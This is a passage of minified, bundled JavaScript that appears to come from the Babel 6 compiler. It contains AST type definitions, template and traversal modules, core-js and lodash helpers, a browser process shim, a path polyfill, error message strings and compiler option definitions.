D(e,C,t),e}t.__esModule=!0,t.createTypeAnnotationBasedOnTypeof=t.removeTypeDuplicates=t.createUnionTypeAnnotation=t.valueToNode=t.toBlock=t.toExpression=t.toStatement=t.toBindingIdentifierName=t.toIdentifier=t.toKeyAlias=t.toSequenceExpression=t.toComputedKey=t.isNodesEquivalent=t.isImmutable=t.isScope=t.isSpecifierDefault=t.isVar=t.isBlockScoped=t.isLet=t.isValidIdentifier=t.isReferenced=t.isBinding=t.getOuterBindingIdentifiers=t.getBindingIdentifiers=t.TYPES=t.react=t.DEPRECATED_KEYS=t.BUILDER_KEYS=t.NODE_FIELDS=t.ALIAS_KEYS=t.VISITOR_KEYS=t.NOT_LOCAL_BINDING=t.BLOCK_SCOPED_SYMBOL=t.INHERIT_KEYS=t.UNARY_OPERATORS=t.STRING_UNARY_OPERATORS=t.NUMBER_UNARY_OPERATORS=t.BOOLEAN_UNARY_OPERATORS=t.BINARY_OPERATORS=t.NUMBER_BINARY_OPERATORS=t.BOOLEAN_BINARY_OPERATORS=t.COMPARISON_BINARY_OPERATORS=t.EQUALITY_BINARY_OPERATORS=t.BOOLEAN_NUMBER_BINARY_OPERATORS=t.UPDATE_OPERATORS=t.LOGICAL_OPERATORS=t.COMMENT_KEYS=t.FOR_INIT_KEYS=t.FLATTENABLE_KEYS=t.STATEMENT_OR_BLOCK_KEYS=void 0;var P=r(360),k=n(P),F=r(2),T=n(F),O=r(14),B=n(O),R=r(35),I=n(R),M=r(135);Object.defineProperty(t,"STATEMENT_OR_BLOCK_KEYS",{enumerable:!0,get:function(){return M.STATEMENT_OR_BLOCK_KEYS}}),Object.defineProperty(t,"FLATTENABLE_KEYS",{enumerable:!0,get:function(){return M.FLATTENABLE_KEYS}}),Object.defineProperty(t,"FOR_INIT_KEYS",{enumerable:!0,get:function(){return M.FOR_INIT_KEYS}}),Object.defineProperty(t,"COMMENT_KEYS",{enumerable:!0,get:function(){return M.COMMENT_KEYS}}),Object.defineProperty(t,"LOGICAL_OPERATORS",{enumerable:!0,get:function(){return M.LOGICAL_OPERATORS}}),Object.defineProperty(t,"UPDATE_OPERATORS",{enumerable:!0,get:function(){return M.UPDATE_OPERATORS}}),Object.defineProperty(t,"BOOLEAN_NUMBER_BINARY_OPERATORS",{enumerable:!0,get:function(){return M.BOOLEAN_NUMBER_BINARY_OPERATORS}}),Object.defineProperty(t,"EQUALITY_BINARY_OPERATORS",{enumerable:!0,get:function(){return M.EQUALITY_BINARY_OPERATORS}}),Object.defineProperty(t,"COMPARISON_BINARY_OPERATORS",{enumerable:!0,get:function(){return M.COMPARISON_BINARY_OPERATORS}}),Object.defineProperty(t,"BOOLEAN_BINARY_OPERATORS",{enumerable:!0,get:function(){return M.BOOLEAN_BINARY_OPERATORS}}),Object.defineProperty(t,"NUMBER_BINARY_OPERATORS",{enumerable:!0,get:function(){return M.NUMBER_BINARY_OPERATORS}}),Object.defineProperty(t,"BINARY_OPERATORS",{enumerable:!0,get:function(){return M.BINARY_OPERATORS}}),Object.defineProperty(t,"BOOLEAN_UNARY_OPERATORS",{enumerable:!0,get:function(){return M.BOOLEAN_UNARY_OPERATORS}}),Object.defineProperty(t,"NUMBER_UNARY_OPERATORS",{enumerable:!0,get:function(){return M.NUMBER_UNARY_OPERATORS}}),Object.defineProperty(t,"STRING_UNARY_OPERATORS",{enumerable:!0,get:function(){return M.STRING_UNARY_OPERATORS}}),Object.defineProperty(t,"UNARY_OPERATORS",{enumerable:!0,get:function(){return M.UNARY_OPERATORS}}),Object.defineProperty(t,"INHERIT_KEYS",{enumerable:!0,get:function(){return M.INHERIT_KEYS}}),Object.defineProperty(t,"BLOCK_SCOPED_SYMBOL",{enumerable:!0,get:function(){return M.BLOCK_SCOPED_SYMBOL}}),Object.defineProperty(t,"NOT_LOCAL_BINDING",{enumerable:!0,get:function(){return M.NOT_LOCAL_BINDING}}),t.is=s,t.isType=a,t.validate=o,t.shallowEqual=u,t.appendToMemberExpression=l,t.prependToMemberExpression=c,t.ensureBlock=f,t.clone=p,t.cloneWithoutLoc=d,t.cloneDeep=h,t.buildMatchMemberExpression=m,t.removeComments=y,t.inheritsComments=v,t.inheritTrailingComments=g,t.inheritLeadingComments=b,t.inheritInnerComments=E,t.inherits=A,t.assertNode=S,t.isNode=_,t.traverseFast=D,t.removeProperties=C,t.removePropertiesDeep=w;var N=r(226);Object.defineProperty(t,"getBindingIdentifiers",{enumerable:!0,get:function(){return N.getBindingIdentifiers}}),Object.defineProperty(t,"getOuterBindingIdentifiers",{enumerable:!0,get:function(){return N.getOuterBindingIdentifiers}});var L=r(395);Object.defineProperty(t,"isBinding",{enumerable:!0,get:function(){return L.isBinding}}),Object.defineProperty(t,"isReferenced",{enumerable:!0,get:function(){return L.isReferenced}}),Object.defineProperty(t,"isValidIdentifier",{enumerable:!0,get:function(){return L.isValidIdentifier}}),Object.defineProperty(t,"isLet",{enumerable:!0,get:function(){return L.isLet}}),Object.defineProperty(t,"isBlockScoped",{enumerable:!0,get:function(){return L.isBlockScoped}}),Object.defineProperty(t,"isVar",{enumerable:!0,get:function(){return L.isVar}}),Object.defineProperty(t,"isSpecifierDefault",{enumerable:!0,get:function(){return L.isSpecifierDefault}}),Object.defineProperty(t,"isScope",{enumerable:!0,get:function(){return L.isScope}}),Object.defineProperty(t,"isImmutable",{enumerable:!0,get:function(){return L.isImmutable}}),Object.defineProperty(t,"isNodesEquivalent",{enumerable:!0,get:function(){return L.isNodesEquivalent}});var j=r(385);Object.defineProperty(t,"toComputedKey",{enumerable:!0,get:function(){return j.toComputedKey}}),Object.defineProperty(t,"toSequenceExpression",{enumerable:!0,get:function(){return j.toSequenceExpression}}),Object.defineProperty(t,"toKeyAlias",{enumerable:!0,get:function(){return j.toKeyAlias}}),Object.defineProperty(t,"toIdentifier",{enumerable:!0,get:function(){return j.toIdentifier}}),Object.defineProperty(t,"toBindingIdentifierName",{enumerable:!0,get:function(){return j.toBindingIdentifierName}}),Object.defineProperty(t,"toStatement",{enumerable:!0,get:function(){return j.toStatement}}),Object.defineProperty(t,"toExpression",{enumerable:!0,get:function(){return j.toExpression}}),Object.defineProperty(t,"toBlock",{enumerable:!0,get:function(){return j.toBlock}}),Object.defineProperty(t,"valueToNode",{enumerable:!0,get:function(){return j.valueToNode}});var U=r(393);Object.defineProperty(t,"createUnionTypeAnnotation",{enumerable:!0,get:function(){return U.createUnionTypeAnnotation}}),Object.defineProperty(t,"removeTypeDuplicates",{enumerable:!0,get:function(){return U.removeTypeDuplicates}}),Object.defineProperty(t,"createTypeAnnotationBasedOnTypeof",{enumerable:!0,get:function(){return U.createTypeAnnotationBasedOnTypeof}});var V=r(624),G=n(V),W=r(109),Y=n(W),q=r(600),K=n(q);r(390);var H=r(26),J=r(394),X=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(J),z=t;t.VISITOR_KEYS=H.VISITOR_KEYS,t.ALIAS_KEYS=H.ALIAS_KEYS,t.NODE_FIELDS=H.NODE_FIELDS,t.BUILDER_KEYS=H.BUILDER_KEYS,t.DEPRECATED_KEYS=H.DEPRECATED_KEYS,t.react=X;for(var $ in z.VISITOR_KEYS)i($);z.FLIPPED_ALIAS_KEYS={},(0,B.default)(z.ALIAS_KEYS).forEach(function(e){z.ALIAS_KEYS[e].forEach(function(t){(z.FLIPPED_ALIAS_KEYS[t]=z.FLIPPED_ALIAS_KEYS[t]||[]).push(e)})}),(0,B.default)(z.FLIPPED_ALIAS_KEYS).forEach(function(e){z[e.toUpperCase()+"_TYPES"]=z.FLIPPED_ALIAS_KEYS[e],i(e)});t.TYPES=(0,B.default)(z.VISITOR_KEYS).concat((0,B.default)(z.FLIPPED_ALIAS_KEYS)).concat((0,B.default)(z.DEPRECATED_KEYS));(0,B.default)(z.BUILDER_KEYS).forEach(function(e){function t(){if(arguments.length>r.length)throw new Error("t."+e+": Too many arguments passed. Received "+arguments.length+" but can receive no more than "+r.length);var t={};t.type=e;for(var n=0,i=r,s=Array.isArray(i),a=0,i=s?i:(0,T.default)(i);;){var u;if(s){if(a>=i.length)break;u=i[a++]}else{if(a=i.next(),a.done)break;u=a.value}var l=u,c=z.NODE_FIELDS[e][l],f=arguments[n++];void 0===f&&(f=(0,Y.default)(c.default)),t[l]=f}for(var p in t)o(t,p,t[p]);return t}var r=z.BUILDER_KEYS[e];z[e]=t,z[e[0].toLowerCase()+e.slice(1)]=t});for(var Q in z.DEPRECATED_KEYS)!function(e){function t(t){return function(){return console.trace("The node type "+e+" has been renamed to "+r),t.apply(this,arguments)}}var r=z.DEPRECATED_KEYS[e];z[e]=z[e[0].toLowerCase()+e.slice(1)]=t(z[r]),z["is"+e]=t(z["is"+r]),z["assert"+e]=t(z["assert"+r])}(Q);(0,G.default)(z),(0,G.default)(z.VISITOR_KEYS);var Z=["tokens","start","end","loc","raw","rawValue"],ee=z.COMMENT_KEYS.concat(["comments"]).concat(Z)},function(e,t,r){"use strict";e.exports={default:r(404),__esModule:!0}},function(e,t){"use strict";t.__esModule=!0,t.default=function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e,t){e=(0,l.default)(e);var r=e,n=r.program;return t.length&&(0,m.default)(e,A,null,t),n.body.length>1?n.body:n.body[0]}t.__esModule=!0;var a=r(10),o=i(a);t.default=function(e,t){var r=void 0;try{throw new Error}catch(e){e.stack&&(r=e.stack.split("\n").slice(1).join("\n"))}t=(0,f.default)({allowReturnOutsideFunction:!0,allowSuperOutsideMethod:!0,preserveComments:!1},t);var n=function(){var i=void 0;try{i=v.parse(e,t),i=m.default.removeProperties(i,{preserveComments:t.preserveComments}),m.default.cheap(i,function(e){e[E]=!0})}catch(e){throw e.stack=e.stack+"from\n"+r,e}return n=function(){return i},i};return function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];return s(n(),t)}};var u=r(574),l=i(u),c=r(174),f=i(c),p=r(274),d=i(p),h=r(7),m=i(h),y=r(89),v=n(y),g=r(1),b=n(g),E="_fromTemplate",x=(0,o.default)(),A={noScope:!0,enter:function(e,t){var r=e.node;if(r[x])return e.skip();b.isExpressionStatement(r)&&(r=r.expression);var n=void 0;if(b.isIdentifier(r)&&r[E])if((0,d.default)(t[0],r.name))n=t[0][r.name];else if("$"===r.name[0]){var i=+r.name.slice(1);t[i]&&(n=t[i])}null===n&&e.remove(),n&&(n[x]=!0,e.replaceInline(n))},exit:function(e){var t=e.node;t.loc||m.default.clearNode(t)}};e.exports=t.default},function(e,t){"use strict";var r=e.exports={version:"2.5.0"};"number"==typeof __e&&(__e=r)},function(e,t){"use strict";var r=Array.isArray;e.exports=r},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e,t,r,n,i){if(e){if(t||(t={}),!t.noScope&&!r&&"Program"!==e.type&&"File"!==e.type)throw new Error(v.get("traverseNeedsParent",e.type));m.explode(t),s.node(e,t,r,n,i)}}function a(e,t){e.node.type===t.type&&(t.has=!0,e.stop())}t.__esModule=!0,t.visitors=t.Hub=t.Scope=t.NodePath=void 0;var o=r(2),u=i(o),l=r(36);Object.defineProperty(t,"NodePath",{enumerable:!0,get:function(){return i(l).default}});var c=r(134);Object.defineProperty(t,"Scope",{enumerable:!0,get:function(){return i(c).default}});var f=r(223);Object.defineProperty(t,"Hub",{enumerable:!0,get:function(){return i(f).default}}),t.default=s;var p=r(367),d=i(p),h=r(384),m=n(h),y=r(20),v=n(y),g=r(111),b=i(g),E=r(1),x=n(E),A=r(88),S=n(A);t.visitors=m,s.visitors=m,s.verify=m.verify,s.explode=m.explode,s.NodePath=r(36),s.Scope=r(134),s.Hub=r(223),s.cheap=function(e,t){return x.traverseFast(e,t)},s.node=function(e,t,r,n,i,s){var a=x.VISITOR_KEYS[e.type];if(a)for(var o=new d.default(r,t,n,i),l=a,c=Array.isArray(l),f=0,l=c?l:(0,u.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var h=p;if((!s||!s[h])&&o.visit(e,h))return}},s.clearNode=function(e,t){x.removeProperties(e,t),S.path.delete(e)},s.removeProperties=function(e,t){return x.traverseFast(e,s.clearNode,t),e},s.hasType=function(e,t,r,n){if((0,b.default)(n,e.type))return!1;if(e.type===r)return!0;var i={has:!1,type:r};return s(e,{blacklist:n,enter:a},t,i),i.has},s.clearCache=function(){S.clear()},s.clearCache.clearPath=S.clearPath,s.clearCache.clearScope=S.clearScope,s.copyCache=function(e,t){S.path.has(e)&&S.path.set(t,S.path.get(e))}},function(e,t){"use strict";function r(){throw new Error("setTimeout has not been defined")}function n(){throw new Error("clearTimeout has not been defined")}function i(e){if(c===setTimeout)return setTimeout(e,0);if((c===r||!c)&&setTimeout)return c=setTimeout,setTimeout(e,0);try{return c(e,0)}catch(t){try{return c.call(null,e,0)}catch(t){return c.call(this,e,0)}}}function s(e){if(f===clearTimeout)return clearTimeout(e);if((f===n||!f)&&clearTimeout)return f=clearTimeout,clearTimeout(e);try{return f(e)}catch(t){try{return f.call(null,e)}catch(t){return f.call(this,e)}}}function a(){m&&d&&(m=!1,d.length?h=d.concat(h):y=-1,h.length&&o())}function o(){if(!m){var e=i(a);m=!0;for(var t=h.length;t;){for(d=h,h=[];++y<t;)d&&d[y].run();y=-1,t=h.length}d=null,m=!1,s(e)}}function u(e,t){this.fun=e,this.array=t}function l(){}var c,f,p=e.exports={};!function(){try{c="function"==typeof setTimeout?setTimeout:r}catch(e){c=r}try{f="function"==typeof clearTimeout?clearTimeout:n}catch(e){f=n}}();var d,h=[],m=!1,y=-1;p.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)t[r-1]=arguments[r];h.push(new u(e,t)),1!==h.length||m||i(o)},u.prototype.run=function(){this.fun.apply(null,this.array)},p.title="browser",p.browser=!0,p.env={},p.argv=[],p.version="",p.versions={},p.on=l,p.addListener=l,p.once=l,p.off=l,p.removeListener=l,p.removeAllListeners=l,p.emit=l,p.prependListener=l,p.prependOnceListener=l,p.listeners=function(e){return[]},p.binding=function(e){throw new Error("process.binding is not supported")},p.cwd=function(){return"/"},p.chdir=function(e){throw new Error("process.chdir is not supported")},p.umask=function(){return 0}},function(e,t,r){"use strict";e.exports={default:r(409),__esModule:!0}},function(e,t,r){"use strict";e.exports={default:r(414),__esModule:!0}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t.__esModule=!0;var s=r(363),a=n(s),o=r(10),u=n(o),l="function"==typeof u.default&&"symbol"===i(a.default)?function(e){return void 0===e?"undefined":i(e)}:function(e){return e&&"function"==typeof u.default&&e.constructor===u.default&&e!==u.default.prototype?"symbol":void 0===e?"undefined":i(e)};t.default="function"==typeof u.default&&"symbol"===l(a.default)?function(e){return void 0===e?"undefined":l(e)}:function(e){return e&&"function"==typeof u.default&&e.constructor===u.default&&e!==u.default.prototype?"symbol":void 0===e?"undefined":l(e)}},function(e,t,r){"use strict";var n=r(15),i=r(5),s=r(43),a=r(29),o=function e(t,r,o){var u,l,c,f=t&e.F,p=t&e.G,d=t&e.S,h=t&e.P,m=t&e.B,y=t&e.W,v=p?i:i[r]||(i[r]={}),g=v.prototype,b=p?n:d?n[r]:(n[r]||{}).prototype;p&&(o=r);for(u in o)(l=!f&&b&&void 0!==b[u])&&u in v||(c=l?b[u]:o[u],v[u]=p&&"function"!=typeof b[u]?o[u]:m&&l?s(c,n):y&&b[u]==c?function(e){var t=function(t,r,n){if(this instanceof e){switch(arguments.length){case 0:return new e;case 1:return new e(t);case 2:return new e(t,r)}return new e(t,r,n)}return e.apply(this,arguments)};return t.prototype=e.prototype,t}(c):h&&"function"==typeof c?s(Function.call,c):c,h&&((v.virtual||(v.virtual={}))[u]=c,t&e.R&&g&&!g[u]&&a(g,u,c)))};o.F=1,o.G=2,o.S=4,o.P=8,o.B=16,o.W=32,o.U=64,o.R=128,e.exports=o},function(e,t,r){"use strict";var n=r(151)("wks"),i=r(95),s=r(15).Symbol,a="function"==typeof s;(e.exports=function(e){return n[e]||(n[e]=a&&s[e]||(a?s:i)("Symbol."+e))}).store=n},function(e,t,r){"use strict";e.exports={default:r(411),__esModule:!0}},function(e,t){"use strict";var r=e.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=r)},function(e,t){"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};e.exports=function(e){return"object"===(void 0===e?"undefined":r(e))?null!==e:"function"==typeof e}},function(e,t,r){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=r(261),s="object"==("undefined"==typeof self?"undefined":n(self))&&self&&self.Object===Object&&self,a=i||s||Function("return this")();e.exports=a},function(e,t){"use strict";function r(e){var t=void 0===e?"undefined":n(e);return null!=e&&("object"==t||"function"==t)}var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};e.exports=r},function(e,t,r){(function(e){"use strict";function r(e,t){for(var r=0,n=e.length-1;n>=0;n--){var i=e[n];"."===i?e.splice(n,1):".."===i?(e.splice(n,1),r++):r&&(e.splice(n,1),r--)}if(t)for(;r--;r)e.unshift("..");return e}function n(e,t){if(e.filter)return e.filter(t);for(var r=[],n=0;n<e.length;n++)t(e[n],n,e)&&r.push(e[n]);return r}var i=/^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/,s=function(e){return i.exec(e).slice(1)};t.resolve=function(){for(var t="",i=!1,s=arguments.length-1;s>=-1&&!i;s--){var a=s>=0?arguments[s]:e.cwd();if("string"!=typeof a)throw new TypeError("Arguments to path.resolve must be strings");a&&(t=a+"/"+t,i="/"===a.charAt(0))}return t=r(n(t.split("/"),function(e){return!!e}),!i).join("/"),(i?"/":"")+t||"."},t.normalize=function(e){var i=t.isAbsolute(e),s="/"===a(e,-1);return e=r(n(e.split("/"),function(e){return!!e}),!i).join("/"),e||i||(e="."),e&&s&&(e+="/"),(i?"/":"")+e},t.isAbsolute=function(e){return"/"===e.charAt(0)},t.join=function(){var e=Array.prototype.slice.call(arguments,0);return t.normalize(n(e,function(e,t){if("string"!=typeof e)throw new TypeError("Arguments to path.join must be strings");return e}).join("/"))},t.relative=function(e,r){function n(e){for(var t=0;t<e.length&&""===e[t];t++);for(var r=e.length-1;r>=0&&""===e[r];r--);return t>r?[]:e.slice(t,r-t+1)}e=t.resolve(e).substr(1),r=t.resolve(r).substr(1);for(var i=n(e.split("/")),s=n(r.split("/")),a=Math.min(i.length,s.length),o=a,u=0;u<a;u++)if(i[u]!==s[u]){o=u;break}for(var l=[],u=o;u<i.length;u++)l.push("..");return l=l.concat(s.slice(o)),l.join("/")},t.sep="/",t.delimiter=":",t.dirname=function(e){var t=s(e),r=t[0],n=t[1];return r||n?(n&&(n=n.substr(0,n.length-1)),r+n):"."},t.basename=function(e,t){var r=s(e)[2];return t&&r.substr(-1*t.length)===t&&(r=r.substr(0,r.length-t.length)),r},t.extname=function(e){return s(e)[3]};var a="b"==="ab".substr(-1)?function(e,t,r){return e.substr(t,r)}:function(e,t,r){return t<0&&(t=e.length+t),e.substr(t,r)}}).call(t,r(8))},function(e,t,r){"use strict";function n(e){for(var t=arguments.length,r=Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];var s=l[e];if(!s)throw new ReferenceError("Unknown message "+(0,a.default)(e));return r=i(r),s.replace(/\$(\d+)/g,function(e,t){return r[t-1]})}function i(e){return e.map(function(e){if(null!=e&&e.inspect)return e.inspect();try{return(0,a.default)(e)||e+""}catch(t){return u.inspect(e)}})}t.__esModule=!0,t.MESSAGES=void 0;var s=r(35),a=function(e){return e&&e.__esModule?e:{default:e}}(s);t.get=n,t.parseArgs=i;var o=r(117),u=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(o),l=t.MESSAGES={tailCallReassignmentDeopt:"Function reference has been reassigned, so it will probably be dereferenced, therefore we can't optimise this with confidence",classesIllegalBareSuper:"Illegal use of bare super",classesIllegalSuperCall:"Direct super call is illegal in non-constructor, use super.$1() instead",scopeDuplicateDeclaration:"Duplicate declaration $1",settersNoRest:"Setters aren't allowed to have a rest",noAssignmentsInForHead:"No assignments allowed in for-in/of head",expectedMemberExpressionOrIdentifier:"Expected type MemberExpression or Identifier",invalidParentForThisNode:"We don't know how to handle this node within the current parent - please open an issue",readOnly:"$1 is read-only",unknownForHead:"Unknown node type $1 in ForStatement",didYouMean:"Did you mean $1?",codeGeneratorDeopt:"Note: The code generator has deoptimised the styling of $1 as it exceeds the max of $2.",missingTemplatesDirectory:"no templates directory - this is most likely the result of a broken `npm publish`. Please report to https://github.com/babel/babel/issues",unsupportedOutputType:"Unsupported output type $1",illegalMethodName:"Illegal method name $1",lostTrackNodePath:"We lost track of this node's position, likely because the AST was directly manipulated",modulesIllegalExportName:"Illegal export $1",modulesDuplicateDeclarations:"Duplicate module declarations with the same source but in different scopes",undeclaredVariable:"Reference to undeclared variable $1",undeclaredVariableType:"Referencing a type alias outside of a type annotation",undeclaredVariableSuggestion:"Reference to undeclared variable $1 - did you mean $2?",traverseNeedsParent:"You must pass a scope and parentPath unless traversing a Program/File. Instead of that you tried to traverse a $1 node without passing scope and parentPath.",traverseVerifyRootFunction:"You passed `traverse()` a function when it expected a visitor object, are you sure you didn't mean `{ enter: Function }`?",traverseVerifyVisitorProperty:"You passed `traverse()` a visitor object with the property $1 that has the invalid property $2",traverseVerifyNodeType:"You gave us a visitor for the node type $1 but it's not a valid type",pluginNotObject:"Plugin $2 specified in $1 was expected to return an object when invoked but returned $3",pluginNotFunction:"Plugin $2 specified in $1 was expected to return a function but returned $3",
pluginUnknown:"Unknown plugin $1 specified in $2 at $3, attempted to resolve relative to $4",pluginInvalidProperty:"Plugin $2 specified in $1 provided an invalid property of $3"}},function(e,t,r){"use strict";var n=r(16);e.exports=function(e){if(!n(e))throw TypeError(e+" is not an object!");return e}},function(e,t,r){"use strict";e.exports=!r(27)(function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})},function(e,t,r){"use strict";var n=r(21),i=r(231),s=r(154),a=Object.defineProperty;t.f=r(22)?Object.defineProperty:function(e,t,r){if(n(e),t=s(t,!0),n(r),i)try{return a(e,t,r)}catch(e){}if("get"in r||"set"in r)throw TypeError("Accessors not supported!");return"value"in r&&(e[t]=r.value),e}},function(e,t,r){"use strict";function n(e){return null!=e&&s(e.length)&&!i(e)}var i=r(175),s=r(176);e.exports=n},function(e,t){"use strict";function r(e){return null!=e&&"object"==(void 0===e?"undefined":n(e))}var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};e.exports=r},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){return Array.isArray(e)?"array":null===e?"null":void 0===e?"undefined":void 0===e?"undefined":(0,v.default)(e)}function s(e){function t(t,r,n){if(Array.isArray(n))for(var i=0;i<n.length;i++)e(t,r+"["+i+"]",n[i])}return t.each=e,t}function a(){function e(e,t,n){if(r.indexOf(n)<0)throw new TypeError("Property "+t+" expected value to be one of "+(0,m.default)(r)+" but got "+(0,m.default)(n))}for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];return e.oneOf=r,e}function o(){function e(e,t,n){for(var i=!1,s=r,a=Array.isArray(s),o=0,s=a?s:(0,d.default)(s);;){var u;if(a){if(o>=s.length)break;u=s[o++]}else{if(o=s.next(),o.done)break;u=o.value}var l=u;if(b.is(l,n)){i=!0;break}}if(!i)throw new TypeError("Property "+t+" of "+e.type+" expected node to be of a type "+(0,m.default)(r)+" but instead got "+(0,m.default)(n&&n.type))}for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];return e.oneOfNodeTypes=r,e}function u(){function e(e,t,n){for(var s=!1,a=r,o=Array.isArray(a),u=0,a=o?a:(0,d.default)(a);;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l;if(i(n)===c||b.is(c,n)){s=!0;break}}if(!s)throw new TypeError("Property "+t+" of "+e.type+" expected node to be of a type "+(0,m.default)(r)+" but instead got "+(0,m.default)(n&&n.type))}for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];return e.oneOfNodeOrValueTypes=r,e}function l(e){function t(t,r,n){if(i(n)!==e)throw new TypeError("Property "+r+" expected type of "+e+" but got "+i(n))}return t.type=e,t}function c(){function e(){for(var e=r,t=Array.isArray(e),n=0,e=t?e:(0,d.default)(e);;){var i;if(t){if(n>=e.length)break;i=e[n++]}else{if(n=e.next(),n.done)break;i=n.value}i.apply(void 0,arguments)}}for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];return e.chainOf=r,e}function f(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=t.inherits&&D[t.inherits]||{};t.fields=t.fields||r.fields||{},t.visitor=t.visitor||r.visitor||[],t.aliases=t.aliases||r.aliases||[],t.builder=t.builder||r.builder||t.visitor||[],t.deprecatedAlias&&(_[t.deprecatedAlias]=e);for(var n=t.visitor.concat(t.builder),s=Array.isArray(n),a=0,n=s?n:(0,d.default)(n);;){var o;if(s){if(a>=n.length)break;o=n[a++]}else{if(a=n.next(),a.done)break;o=a.value}var u=o;t.fields[u]=t.fields[u]||{}}for(var c in t.fields){var f=t.fields[c];-1===t.builder.indexOf(c)&&(f.optional=!0),void 0===f.default?f.default=null:f.validate||(f.validate=l(i(f.default)))}E[e]=t.visitor,S[e]=t.builder,A[e]=t.fields,x[e]=t.aliases,D[e]=t}t.__esModule=!0,t.DEPRECATED_KEYS=t.BUILDER_KEYS=t.NODE_FIELDS=t.ALIAS_KEYS=t.VISITOR_KEYS=void 0;var p=r(2),d=n(p),h=r(35),m=n(h),y=r(11),v=n(y);t.assertEach=s,t.assertOneOf=a,t.assertNodeType=o,t.assertNodeOrValueType=u,t.assertValueType=l,t.chain=c,t.default=f;var g=r(1),b=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(g),E=t.VISITOR_KEYS={},x=t.ALIAS_KEYS={},A=t.NODE_FIELDS={},S=t.BUILDER_KEYS={},_=t.DEPRECATED_KEYS={},D={}},function(e,t){"use strict";e.exports=function(e){try{return!!e()}catch(e){return!0}}},function(e,t){"use strict";var r={}.hasOwnProperty;e.exports=function(e,t){return r.call(e,t)}},function(e,t,r){"use strict";var n=r(23),i=r(92);e.exports=r(22)?function(e,t,r){return n.f(e,t,i(1,r))}:function(e,t,r){return e[t]=r,e}},function(e,t,r){"use strict";function n(e){return null==e?void 0===e?u:o:l&&l in Object(e)?s(e):a(e)}var i=r(45),s=r(534),a=r(559),o="[object Null]",u="[object Undefined]",l=i?i.toStringTag:void 0;e.exports=n},function(e,t,r){"use strict";function n(e,t,r,n){var a=!r;r||(r={});for(var o=-1,u=t.length;++o<u;){var l=t[o],c=n?n(r[l],e[l],l,r,e):void 0;void 0===c&&(c=e[l]),a?s(r,l,c):i(r,l,c)}return r}var i=r(162),s=r(163);e.exports=n},function(e,t,r){"use strict";function n(e){return a(e)?i(e):s(e)}var i=r(245),s=r(500),a=r(24);e.exports=n},function(e,t){"use strict";e.exports={filename:{type:"filename",description:"filename to use when reading from stdin - this will be used in source-maps, errors etc",default:"unknown",shorthand:"f"},filenameRelative:{hidden:!0,type:"string"},inputSourceMap:{hidden:!0},env:{hidden:!0,default:{}},mode:{description:"",hidden:!0},retainLines:{type:"boolean",default:!1,description:"retain line numbers - will result in really ugly code"},highlightCode:{description:"enable/disable ANSI syntax highlighting of code frames (on by default)",type:"boolean",default:!0},suppressDeprecationMessages:{type:"boolean",default:!1,hidden:!0},presets:{type:"list",description:"",default:[]},plugins:{type:"list",default:[],description:""},ignore:{type:"list",description:"list of glob paths to **not** compile",default:[]},only:{type:"list",description:"list of glob paths to **only** compile"},code:{hidden:!0,default:!0,type:"boolean"},metadata:{hidden:!0,default:!0,type:"boolean"},ast:{hidden:!0,default:!0,type:"boolean"},extends:{type:"string",hidden:!0},comments:{type:"boolean",default:!0,description:"write comments to generated output (true by default)"},shouldPrintComment:{hidden:!0,description:"optional callback to control whether a comment should be inserted, when this is used the comments option is ignored"},wrapPluginVisitorMethod:{hidden:!0,description:"optional callback to 